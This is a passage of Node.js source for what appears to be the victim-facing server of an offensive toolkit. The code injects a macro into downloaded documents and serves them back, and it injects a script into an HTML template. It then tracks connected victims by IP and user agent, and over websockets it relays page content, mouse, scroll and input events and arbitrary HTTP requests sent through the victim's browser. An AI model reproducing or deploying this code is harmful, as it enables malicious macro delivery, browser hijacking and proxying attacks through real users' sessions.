`${fileId}-${filename}`; 623 | const localFilePath = path.join('public/files', uniqueFilename); 624 | const writer = fs.createWriteStream(localFilePath); 625 | 626 | pipeline(response.data, writer, (err) => { 627 | if (err) { 628 | console.error('File saving failed:', err); 629 | return res.status(500).send('Failed to save the file'); 630 | } 631 | 632 | checkAndRemoveDuplicate(`public/extractedFiles/${fileId}-${filename}`);; 633 | 634 | addMacroToDocument(localFilePath, (err, message) => { 635 | if (err) { 636 | console.error(err); 637 | return res.status(500).send('Error loading the macro.'); 638 | } 639 | const downloadLink = `/downloads/${uniqueFilename.split('-').slice(0, 5).join('-')}`; 640 | res.send({ link: downloadLink }); 641 | }); 642 | }); 643 | 644 | } catch (error) { 645 | console.error('Error during file download or SSRF filtering:', error); 646 | return res.status(500).send('Failed to download the file'); 647 | } 648 | }); 649 | 650 | 651 | app.get('/downloads/:uuid', (req, res) => { 652 | const uuid = req.params.uuid; 653 | const filesInDirectory = fs.readdirSync('public/files'); 654 | 655 | if (uuid.length !== 36) { 656 | return res.status(400).send('Invalid UUID length'); 657 | } 658 | 659 | const matchingFile = filesInDirectory.find((file) => file.startsWith(uuid)); 660 | 661 | if (matchingFile) { 662 | const originalName = matchingFile.split('-').slice(5).join('-'); 663 | 664 | const filePath = `public/files/${matchingFile}`; 665 | res.download(filePath, originalName); 666 | } else { 667 | res.status(404).send('File not found'); 668 | } 669 | }); 670 | 671 | app.get('/connect', (req, res) => { 672 | fs.readFile(path.join(__dirname, 'public', 'templates', 'template.html'), 'utf8', (err, data) => { 673 | if (err) { 674 | res.status(500).send('Error al leer el archivo'); 675 | return; 676 | } 677 | 678 | const appendedScript = ` 679 | 684 | `; 685 | 686 | const modifiedData = data.replace('', appendedScript + ''); 687 | res.send(modifiedData); 688 | }); 689 | }); 690 | 691 | function startListening(shve) { 692 | const ws = Array.from(wss.clients).find((client) => client.id === shve); 693 | if (ws) { 694 | const message = JSON.stringify({ 695 | listening: 'on', 696 | }); 697 | ws.send(message); 698 | } else { 699 | console.log(`Websocket ${shve} not found`); 700 | } 701 | } 702 | 703 | function stopListening(shve) { 704 | const ws = Array.from(wss.clients).find((client) => client.id === shve); 705 | if (ws) { 706 | const message = JSON.stringify({ 707 | listening: 'off', 708 | }); 709 | ws.send(message); 710 | } else { 711 | console.log(`Websocket ${shve} not found`); 712 | } 713 | } 714 | 715 | function handleConnection(ws, req) { 716 | const clientId = uuidv4(); 717 | ws.id = clientId; 718 | ws.userAgent = req.headers['user-agent']; 719 | ws.ip = req.socket.remoteAddress; 720 | 721 | console.log(`New client connected (ID: ${clientId})`); 722 | 723 | ws.on('close', () => { 724 | console.log(`Client ${ws.id} lost`); 725 | }); 726 | 727 | ws.on('message', (message) => { 728 | handleMessage(ws.id, message); 729 | }); 730 | } 731 | 732 | function handleMessage(wsId, message) { 733 | const { writeDom, setMouse, setScroll, setInput } = require('./attackerServer'); 734 | try { 735 | const parsedMessage = JSON.parse(message); 736 | if (parsedMessage.writeDom) { 737 | const { data, baseURL } = parsedMessage.writeDom; 738 | writeDom(wsId, data, baseURL); 739 | } else if (parsedMessage.setMouse) { 740 | const { mouseX, mouseY } = parsedMessage.setMouse; 741 | setMouse(wsId, mouseX, mouseY); 742 | } else if (parsedMessage.setScroll) { 743 | const { scrollY } = parsedMessage.setScroll; 744 | setScroll(wsId, scrollY); 745 | } else if (parsedMessage.setInput) { 746 | const { inputValue, inputPath } = parsedMessage.setInput; 747 | setInput(wsId, inputValue, inputPath); 748 | } 749 | 750 | } catch (error) { 751 | console.error(error); 752 | } 753 | } 754 | 755 | function getConnectedClients() { 756 | return Array.from(wss.clients) 757 | .filter(client => client.readyState === WebSocket.OPEN) 758 | .map(client => ({ 759 | id: client.id, 760 | readyState: client.readyState, 761 | userAgent: client.userAgent, 762 | ip: client.ip, 763 | })); 764 | } 765 | 766 | function sendWebSocketRequest(wsId, method, url, headers = {}, postData = null) { 767 | const requestId = uuidv4(); 768 | const cleanedHeaders = filterHeaders(headers); 769 | const data = { 770 | requestId, 771 | method, 772 | url, 773 | headers: cleanedHeaders, 774 | }; 775 | if (postData) { 776 | data.data = postData; 777 | } 778 | const message = JSON.stringify({ 779 | sendRequest: data, 780 | }); 781 | 782 | const ws = Array.from(wss.clients).find((client) => client.id === wsId); 783 | if (ws) { 784 | return new Promise((resolve, reject) => { 785 | ws.send(message); 786 | 787 | const onResponse = (response) => { 788 | try { 789 | const responseData = JSON.parse(response); 790 | if (responseData.requestId === requestId) { 791 | ws.off('message', onResponse); 792 | if (responseData.error) { 793 | resolve(responseData); 794 | } else { 795 | resolve({ 796 | data: responseData.data, 797 | headers: responseData.headers, 798 | status_code: responseData.status_code, 799 | }); 800 | } 801 | } 802 | } catch (err) { 803 | reject({ error: err.message, statusCode: -1 }); 804 | } 805 | }; 806 | 807 | ws.on('message', onResponse); 808 | }); 809 | } else { 810 | console.log(`Websocket ${wsId} not found`); 811 | return({ error: 'Websocket ' + wsId + ' not found', statusCode: -1 }); 812 | } 813 | } 814 | 815 | module.exports = { 816 | startServer: () => { 817 | if (sslEnabled) { 818 | const privateKey = fs.readFileSync('files/privateKey.pem', 'utf8'); 819 | const certificate = fs.readFileSync('files/certificate.pem', 'utf8'); 820 | const credentials = { key: privateKey, cert: certificate }; 821 | const httpsServer = https.createServer(credentials, app); 822 | wss = new WebSocket.Server({ server: httpsServer }); 823 | httpsServer.listen(port, () => { 824 | console.log(`Victim server running on 0.0.0.0:${port} with SSL enabled`); 825 | }); 826 | } else { 827 | const server = http.createServer(app); 828 | wss = new WebSocket.Server({ server }); 829 | server.listen(port, () => { 830 | console.log(`Victim server running on 0.0.0.0:${port}`); 831 | }); 832 | } 833 | wss.on('connection', handleConnection); 834 | }, 835 | 836 | getConnectedClients, 837 | sendWebSocketRequest, 838 | startListening, 839 | stopListening, 840 | }; --------------------------------------------------------------------------------